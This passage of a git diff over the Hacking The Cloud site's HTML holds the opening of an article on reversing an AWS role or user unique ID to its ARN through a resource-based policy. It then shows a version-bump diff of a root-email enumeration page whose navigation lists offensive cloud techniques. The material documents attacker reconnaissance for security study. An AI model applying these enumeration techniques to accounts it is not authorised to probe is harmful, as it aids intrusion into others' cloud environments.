d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Derive a Principal ARN from an AWS Unique Identifier</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://awsteele.com/blog/2023/11/19/reversing-aws-iam-unique-ids.html>Reversing AWS IAM unique IDs</a> by <a href=https://twitter.com/__steele>Aidan Steele</a></p> <p><a class=glightbox href=/images/researchers/aidan_steele.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/aidan_steele.jpg alt="Aidan Steele" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p>Reference: <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids>Unique identifiers</a></p> </li> </ul> </div> <p>When operating in an AWS environment, you may come upon a variety of <a href=https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ >IAM unique identifiers</a>. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).</p> <p>For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a <a href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ >resource-based policy</a>.</p> <p>To do this, we can use the example ID of <code>AROAJMD24IEMKTX6BABJI</code> from <a href=https://twitter.com/__steele>Aidan Steele</a>'s excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.</p> <p>First, we will create a role with the following trust policy:</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
 <span class=w>    </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2008-10-17&quot;</span><span class=p>,</span>
 <span class=w>    </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
 <span class=w>        </span><span class=p>{</span>
diff --git a/aws/enumeration/enumerate_root_email_from_console/index.html b/aws/enumeration/enumerate_root_email_from_console/index.html
index 85ba7f707..7491c145d 100644
--- a/aws/enumeration/enumerate_root_email_from_console/index.html
+++ b/aws/enumeration/enumerate_root_email_from_console/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Identify if an email address belongs to the root user of an AWS account."><link href=https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ rel=canonical><link href=../enumerate_principal_arn_from_unique_id/ rel=prev><link href=../get-account-id-from-keys/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Enumerate Root User Email Address from the AWS Console - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Enumerate Root User Email Address from the AWS Console - Hacking The Cloud"><meta property=og:description content="Identify if an email address belongs to the root user of an AWS account."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Enumerate Root User Email Address from the AWS Console - Hacking The Cloud"><meta property=twitter:description content="Identify if an email address belongs to the root user of an AWS account."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Identify if an email address belongs to the root user of an AWS account."><link href=https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ rel=canonical><link href=../enumerate_principal_arn_from_unique_id/ rel=prev><link href=../get-account-id-from-keys/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Enumerate Root User Email Address from the AWS Console - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Enumerate Root User Email Address from the AWS Console - Hacking The Cloud"><meta property=og:description content="Identify if an email address belongs to the root user of an AWS account."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Enumerate Root User Email Address from the AWS Console - Hacking The Cloud"><meta property=twitter:description content="Identify if an email address belongs to the root user of an AWS account."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a 